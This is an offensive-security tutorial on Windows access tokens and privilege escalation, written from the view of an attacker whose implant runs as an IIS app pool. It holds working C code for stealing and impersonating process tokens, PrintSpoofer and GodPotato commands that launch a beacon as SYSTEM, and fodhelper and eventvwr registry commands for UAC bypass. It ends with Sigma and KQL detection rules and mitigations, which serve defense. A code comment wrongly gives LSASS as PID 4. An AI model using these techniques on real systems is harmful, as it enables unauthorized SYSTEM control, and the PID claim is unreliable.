Token Manipulation and Privilege Escalation
Windows access token internals, token stealing via OpenProcessToken, impersonation vs primary token creation, dangerous privilege abuse (SeImpersonate, SeAssignPrimaryToken, SeTcbPrivilege), the Potato attack family, and UAC bypass techniques
Your beacon runs as IIS APPPOOL\DefaultAppPool — an IIS worker process identity. This account has no AD rights, no local admin, and you can't escalate via credential theft. However, IIS application pool identities hold SeImpersonatePrivilege by default. Using the Potato attack technique, you trick a SYSTEM service (via COM activation) into connecting to a named pipe you control, then call ImpersonateNamedPipeClient to steal the SYSTEM token. From an impersonation context you can use CreateProcessWithTokenW to launch cmd.exe as SYSTEM. Full privilege escalation from a service account to SYSTEM without any CVE or vulnerability — purely via Windows design.
Windows Token Architecture
Token Stealing
// Steal token from a privileged process and impersonate it
// Requires: SeDebugPrivilege (to open processes of other users) OR
// process already running as user with token you want
BOOL StealTokenFromProcess(DWORD targetPid) {
// Enable SeDebugPrivilege first
HANDLE hCur = GetCurrentProcess();
HANDLE hCurToken;
OpenProcessToken(hCur, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hCurToken);
TOKEN_PRIVILEGES tp = {0};
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
AdjustTokenPrivileges(hCurToken, FALSE, &tp, 0, NULL, NULL);
CloseHandle(hCurToken);
// Open target process
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, targetPid);
if (!hProcess) {
wprintf(L"[-] OpenProcess failed: %lu\n", GetLastError());
return FALSE;
}
// Get target's primary token
HANDLE hToken;
if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) {
CloseHandle(hProcess);
return FALSE;
}
// Duplicate as impersonation token (SecurityImpersonation level)
HANDLE hDupToken;
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenImpersonation, &hDupToken);
// Impersonate the stolen token on this thread
ImpersonateLoggedOnUser(hDupToken);
// Now running as the target user for this thread
// LSASS (PID 4): steal SYSTEM token
// winlogon.exe: steal user's interactive logon token
WCHAR user[256] = {0};
DWORD len = 256;
GetUserNameW(user, &len);
wprintf(L"[+] Impersonating: %s\n", user);
CloseHandle(hDupToken);
CloseHandle(hToken);
CloseHandle(hProcess);
return TRUE;
}
Launch Process as Stolen Token
// Create a new process running under the stolen identity
// Impersonation tokens can't be used for CreateProcess — must duplicate to Primary first
BOOL SpawnAsUser(HANDLE hImpersonationToken) {
// Convert impersonation token to primary token
HANDLE hPrimaryToken;
DuplicateTokenEx(hImpersonationToken, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenPrimary, &hPrimaryToken);
// Spawn process with primary token
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
BOOL ok = CreateProcessWithTokenW(
hPrimaryToken,
LOGON_WITH_PROFILE, // load user profile (registry hive)
NULL,
L"cmd.exe", // command
NULL, NULL, NULL, // env, dir, inherited handles
&si, &pi
);
if (ok) {
wprintf(L"[+] Process started: PID %lu\n", pi.dwProcessId);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
CloseHandle(hPrimaryToken);
return ok;
}
Dangerous Privileges — Escalation Paths
| Privilege | Who Has It | Escalation Path |
|---|---|---|
| SeImpersonatePrivilege | IIS, SQL Server service accounts, Network Service | Potato attack: force SYSTEM NTLM auth → steal token via named pipe impersonation |
| SeAssignPrimaryTokenPrivilege | Network Service, Local Service | Create process with stolen primary token (requires SeImpersonate too) |
| SeDebugPrivilege | Local Administrators | OpenProcess on any PID including SYSTEM processes; steal LSASS token |
| SeTcbPrivilege | SYSTEM only | Create process as any user; equivalent to SYSTEM |
| SeCreateTokenPrivilege | SYSTEM only | Create an arbitrary token with any SIDs/privileges |
| SeBackupPrivilege | Backup Operators group | Read any file regardless of ACL (including SAM, NTDS.dit, shadow copies) |
| SeRestorePrivilege | Backup Operators group | Write any file regardless of ACL (overwrite startup scripts, etc.) |
| SeTakeOwnershipPrivilege | Local Administrators | Take ownership of any file/registry key |
| SeLoadDriverPrivilege | Local Administrators (sometimes service accounts) | Load kernel driver (privilege escalation to kernel; BYOVD attacks) |
The Potato Attack Family
# Using printspoofer from a service account with SeImpersonatePrivilege:
PrintSpoofer64.exe -i -c cmd # interactive SYSTEM shell in same window
PrintSpoofer64.exe -c "C:\Windows\Temp\beacon.exe" # run beacon as SYSTEM
# GodPotato (works on Windows 10/11, Server 2019/2022):
GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "C:\Windows\Temp\beacon.exe"
# Check current privileges (do we have SeImpersonate?):
whoami /priv | findstr /i "SeImpersonate"
UAC Bypass
# UAC (User Account Control) — a medium-integrity admin process must be elevated
# to high integrity to perform admin operations
# UAC bypass: elevate from medium to high without UAC prompt
# Method 1: fodhelper.exe — auto-elevates, reads command from registry
# Works on Windows 10/11 (widely known, may be blocked by some EDRs)
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
fodhelper.exe # triggers elevated cmd.exe via the registry key
# Cleanup:
reg delete "HKCU\Software\Classes\ms-settings" /f
# Method 2: eventvwr.exe — reads from HKCU\...\mscfile
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /d "cmd.exe" /f
eventvwr.exe
# Method 3: ICMLuaUtil COM UAC bypass
# IElevatedFactoryServer auto-elevates via COM, can be leveraged
# Requires: specific interface call, changes with Windows versions
# Method 4: CMSTP.exe — auto-elevates, INF file execution
# Method 5: Mock Trusted Directories (bypasses DLL hijacking via trusted path)
# Verify elevation worked:
[System.Security.Principal.WindowsIdentity]::GetCurrent()
# Check: TokenElevationType = TokenElevationTypeFull (3) = elevated
Detection Engineering
-- Token manipulation detection
-- 1. SeDebugPrivilege enabled (Event 4703: Token right adjusted)
-- 2. OpenProcess with PROCESS_QUERY_INFORMATION on LSASS (PID 4) or winlogon
-- 3. CreateProcessWithToken or CreateProcessWithLogon calls
-- Sigma: Privilege escalation via token manipulation
title: Token Impersonation Escalation
logsource:
product: windows
category: create_process_with_token
detection:
selection:
EventID: 4688
TokenElevationType: '%%1937' # TokenElevationTypeFull
ParentProcessName|endswith:
- '\wsmprovhost.exe' # WinRM
- '\w3wp.exe' # IIS
- '\sqlservr.exe' # SQL Server
condition: selection
level: high
-- Sigma: UAC bypass via fodhelper registry
title: UAC Bypass via fodhelper Registry Key
logsource:
product: windows
category: registry_set
detection:
selection:
TargetObject|contains: '\Software\Classes\ms-settings\Shell\Open\command'
Details|endswith:
- '.exe'
- 'cmd'
- 'powershell'
condition: selection
level: high
-- Potato attack detection:
-- PrintSpoofer: look for SpoolSS pipe name pattern (\\.\pipe\\pipe\spoolss)
-- GodPotato: COM activation from service account context creating SYSTEM process
-- Sysmon Event 17/18: named pipe create/connect with spoolss name pattern
-- MDE KQL: Token theft from LSASS
DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where FileName == "lsass.exe"
| where AdditionalFields contains "DesiredAccess:0x1000" -- PROCESS_QUERY_INFORMATION
| where InitiatingProcessFileName !in~ ("MsMpEng.exe","csrss.exe","svchost.exe")
Q&A
Why do service accounts like IIS AppPool and Network Service have SeImpersonatePrivilege, and how does the Potato attack class exploit this design?
SeImpersonatePrivilege exists because service processes legitimately need to act on behalf of users who connect to them. An IIS worker process (w3wp.exe) handling an HTTP request should be able to temporarily act as the authenticated user when accessing resources on that user's behalf — reading their files, making database connections under their identity. Without SeImpersonatePrivilege, every web app would need to store all data as a shared account, destroying user-level access control. The privilege is intentionally granted to service account types: Network Service, Local Service, and application pool identities all receive it. The Potato attack class exploits a fundamental property of this privilege: SeImpersonatePrivilege allows a process to call ImpersonateNamedPipeClient after a client connects to a named pipe it controls. If the connecting client has a higher-privilege token (SYSTEM), the server can steal that token. The attack chain: (1) the service account creates a named pipe, (2) it triggers a SYSTEM-context service or COM object to connect to that pipe by exploiting some privilege escalation point (spooler service authentication, COM OXID resolver, etc.), (3) the SYSTEM-context service authenticates to the pipe with an NTLM challenge, generating a SYSTEM impersonation token, (4) ImpersonateNamedPipeClient captures the SYSTEM token, (5) DuplicateTokenEx + CreateProcessWithTokenW launches a SYSTEM shell. Mitigation: deny SeImpersonatePrivilege to service accounts that don't need it; use virtual service accounts (NT SERVICE\*) which have limited token impersonation scope; enable Windows Defender Credential Guard which restricts some token operations.